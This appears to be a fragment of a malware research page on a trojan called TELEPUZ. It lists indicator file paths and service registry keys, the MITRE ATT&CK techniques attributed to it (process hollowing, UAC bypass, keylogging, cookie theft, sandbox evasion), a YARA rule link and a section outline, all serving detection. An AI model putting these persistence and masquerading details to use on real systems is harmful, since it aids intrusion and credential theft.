%ProgramData%\Jundrax\Tracker\IrenScanner.dll	install
%ProgramData%\QualcommRF\dsp_agent.dll	install
HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator	registry
HKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast	registry

TELEPUZ MITRE ATT&CK tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.

- [Resource Development](#)
- [Initial Access](#)
- [Execution](#)
- [Persistence](#)
- [Privilege Escalation](#)
- [Defense Evasion](#)
- [Credential Access](#)
- [Discovery](#)
- [Collection](#)
- [Command and Control](#)
- [Exfiltration](#)

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

- [Command and Scripting Interpreter: PowerShell](#)
- [Native API](#)

- [Shared Modules](#)
- [System Services: Service Execution](#)
- [Signed Binary Proxy Execution: Rundll32](#)
- [Create or Modify System Process: Windows Service](#)
- [Modify Registry](#)
- [Abuse Elevation Control Mechanism: Bypass User Account Control](#)
- [Access Token Manipulation: Token Impersonation/Theft](#)
- [Access Token Manipulation: Create Process with Token](#)
- [Process Injection: Process Hollowing](#)
- [Reflective Code Loading](#)
- [Impair Defenses: Indicator Blocking](#)
- [Obfuscated Files or Information: Dynamic API Resolution](#)
- [Obfuscated Files or Information: Encrypted/Encoded File](#)
- [Masquerading: Match Legitimate Name or Location](#)
- [Debugger Evasion](#)
- [Virtualization/Sandbox Evasion: System Checks](#)
- [Virtualization/Sandbox Evasion: Time Based Evasion](#)
- [Steal Web Session Cookie](#)
- [Credentials from Password Stores](#)
- [Input Capture: Keylogging](#)
- [Process Discovery](#)
- [File and Directory Discovery](#)
- [System Information Discovery](#)
- [System Owner/User Discovery](#)
- [Software Discovery](#)
- [System Location Discovery: System Language Discovery](#)
- [Screen Capture](#)
- [Archive Collected Data: Archive via Library](#)
- [Man in the Browser](#)
- [Application Layer Protocol: Web Protocols](#)
- [Encrypted Channel: Asymmetric Cryptography](#)
- [Ingress Tool Transfer](#)
- [Web Service: Dead Drop Resolver](#)
- [Exfiltration Over C2 Channel](#)
- [Indicator Removal: File Deletion](#)

TELEPUZ YARA detection rule

[Windows_Trojan_Telepuz.yar](#)

Jump to section

- [Key takeaways](#)
- [TELEPUZ infection chain via CLICKFIX-VIDAR](#)
- [TELEPUZ technical analysis and internals](#)
- [TELEPUZ obfuscation techniques](#)
- [Garbage instructions](#)
- [Import hashing](#)
- [String encryption](#)
- [Indirect syscalls](#)
- [TELEPUZ execution flow and persistence installation](#)
- [TELEPUZ C2 communication](#)

Elastic Security Labs Newsletter

[Sign Up](#)